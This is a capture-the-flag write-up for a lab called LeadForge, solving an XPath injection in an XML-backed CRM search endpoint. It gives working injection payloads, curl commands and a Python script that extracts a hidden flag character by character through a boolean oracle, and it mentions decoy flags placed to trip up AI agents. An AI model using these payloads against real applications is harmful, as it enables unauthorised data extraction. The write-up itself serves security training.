Lab 335 — LeadForge — XPath Injection in XML-Based CRM
Lab 335 — LeadForge — XPath Injection in XML-Based CRM
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: boolean_based_blind_extraction, substring_extraction, union_based_xpath, xml_structure_enumeration, xpath_injection
Summary
Task: CRM platform using XML file-based data store with contact search feature that interpolates user input directly into XPath expressions. Decoy flags in HTML mislead scanners. Solution: XPath injection via search endpoint — union-based injection to enumerate XML structure, then boolean-based blind extraction using substring() oracle to extract flag from /crm/secret/flag node character by character.
Lab 335 — LeadForge — XPath Injection in XML-Based CRM
Description
You are testing LeadForge, a lightweight CRM platform built by ForgeStack Solutions for small sales teams. The application provides contact management, deal tracking, pipeline analytics, and team collaboration features. LeadForge uses a file-based data store (XML) for its core records instead of a traditional database. The platform serves a team of four sales representatives managing 17 contacts and 12 active deals. Your goal is to find and exploit vulnerabilities in the application to retrieve the hidden flag. The flag is not accessible through normal application usage — you will need to discover and exploit weaknesses in how the application queries its data store.
Credentials: user@test.com / password123
English summary: A Node.js/Express CRM application that stores all data in XML files. The contact search feature constructs XPath queries by directly interpolating user input, enabling XPath injection. The flag is stored in a hidden <secret> section of the XML document, inaccessible through normal application usage.
Analysis
Reconnaissance
The application is an Express.js (Node.js) web app behind nginx/1.25.5. After logging in with provided credentials (user@test.com / password123) via POST to /api/auth/login, the following pages are accessible:
- Dashboard (
/) — overview stats - Contacts (
/contacts) — contact management with search feature - Deals (
/deals) — deal tracking - Team (
/team) — team members - Reports (
/reports) — pipeline analytics
The Contacts page has a search feature powered by the /api/contacts/search?q= endpoint (found in /js/contacts.js). This is the primary attack surface.
Decoy Flags
Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs. These are anti-bot traps designed to trick automated scanners and AI agents into stopping early. This is NOT the real flag.
Confirming XPath Injection
Sending a single quote ' to the search endpoint causes an error:
bash read-only • copy allowedcurl -s "$TARGET/api/contacts/search?q='" -b cookies.txt # {"results":[],"error":"Search query failed."}
The payload ') or 1=1 or (' returns all 17 contacts, confirming XPath injection:
bash read-only • copy allowedcurl -s "$TARGET/api/contacts/search?q=') or 1=1 or ('" -b cookies.txt # Returns all 17 contacts
The underlying XPath query is approximately:
xpath read-only • copy allowed//contacts/contact[contains(name, 'INPUT') or contains(email, 'INPUT')]
XML Structure Enumeration
Using union-based XPath injection to dump the entire XML tree:
')]|//*|//x[contains(.,'a
This payload breaks out of the original query and selects ALL nodes (//*) in the XML document. The server maps all XPath result nodes to a contact-like JSON schema {id, name, email, company, phone, status}, so nodes without matching child elements appear with empty fields.
The dump revealed the full XML structure:
/crm— root element/crm/contacts— 17 contact records/crm/users— 4 users (Marcus Chen/admin, Jamie Rivera, Sarah Mitchell, David Kowalski)/crm/deals— 12 active deals/crm/secret— hidden section containing the flag
Structure Discovery via Result Counting
By injecting different XPath paths and counting results, the XML structure was mapped:
')]|/crm/secret/flag|//x[contains(.,'a
Returns 18 results (17 contacts + 1 flag node), confirming /crm/secret/flag exists. The flag node's text content doesn't map to any displayed field (name, email, etc.), so blind extraction is required.
Solution
Step 1: Build a Boolean Oracle
Construct a payload that returns different result counts based on a boolean condition:
Elena') and [CONDITION] or contains(name,'ZZZZZ
This works because:
- If CONDITION is TRUE → "Elena" contact matches → 1 result returned
- If CONDITION is FALSE → falls through to
contains(name,'ZZZZZ')which matches nothing → 0 results
Verification:
bash read-only • copy allowed# TRUE condition — returns 1 result (Elena) curl -s "$TARGET/api/contacts/search?q=Elena') and starts-with(string(/crm/secret/flag),'FLAG{') or contains(name,'ZZZZZ" -b cookies.txt # FALSE condition — returns 0 results curl -s "$TARGET/api/contacts/search?q=Elena') and starts-with(string(/crm/secret/flag),'NOTFLAG') or contains(name,'ZZZZZ" -b cookies.txt
Step 2: Determine Flag Length
Elena') and string-length(string(/crm/secret/flag))=38 or contains(name,'ZZZZZ
Returns 1 result → flag length is 38 characters.
Step 3: Extract Flag Character by Character
Using substring() to test each character position:
Elena') and substring(string(/crm/secret/flag),1,1)='F' or contains(name,'ZZZZZ
Elena') and substring(string(/crm/secret/flag),2,1)='L' or contains(name,'ZZZZZ
...
Automated Extraction Script
python read-only • copy allowed#!/usr/bin/env python3 import requests import string TARGET = "https://ee1afbe1-00fa-44c0-a205-d7c69635d891.labs.hackadvisor.io" # Create session and login s = requests.Session() s.post(f"{TARGET}/api/auth/login", data={"username": "user@test.com", "password": "password123"}) def check(condition): """Returns True if the XPath condition is true""" payload = f"Elena') and {condition} or contains(name,'ZZZZZ" r = s.get(f"{TARGET}/api/contacts/search", params={"q": payload}) data = r.json() return len(data.get("results", [])) > 0 # First, get the length print("Finding flag length...") for length in range(1, 100): if check(f"string-length(string(/crm/secret/flag))={length}"): print(f"Flag length: {length}") break else: print("Could not determine length, trying extraction anyway") length = 60 # Extract character by character using substring charset = string.ascii_letters + string.digits + "{}_-!@#$%^&*()" flag = "" print(f"Extracting flag (length={length})...") for pos in range(1, length + 1): found = False for char in charset: # Escape single quotes in XPath if char == "'": xpath_char = "\"'\"" else: xpath_char = f"'{char}'" if check(f"substring(string(/crm/secret/flag),{pos},1)={xpath_char}"): flag += char print(f"[{pos}/{length}] {flag}", flush=True) found = True break if not found: print(f"[{pos}/{length}] Character not found in charset, trying full ASCII...") for code in range(32, 127): char = chr(code) if char == "'": xpath_char = "\"'\"" else: xpath_char = f"'{char}'" if check(f"substring(string(/crm/secret/flag),{pos},1)={xpath_char}"): flag += char print(f"[{pos}/{length}] {flag}", flush=True) found = True break if not found: print(f"[{pos}/{length}] FAILED - stopping") break print(f"\nFinal flag: {flag}")
Output:
Finding flag length...
Flag length: 38
Extracting flag (length=38)...
[1/38] F
[2/38] FL
[3/38] FLA
[4/38] FLAG
[5/38] FLAG{
...
[38/38] FLAG{REDACTED}
Final flag: FLAG{REDACTED}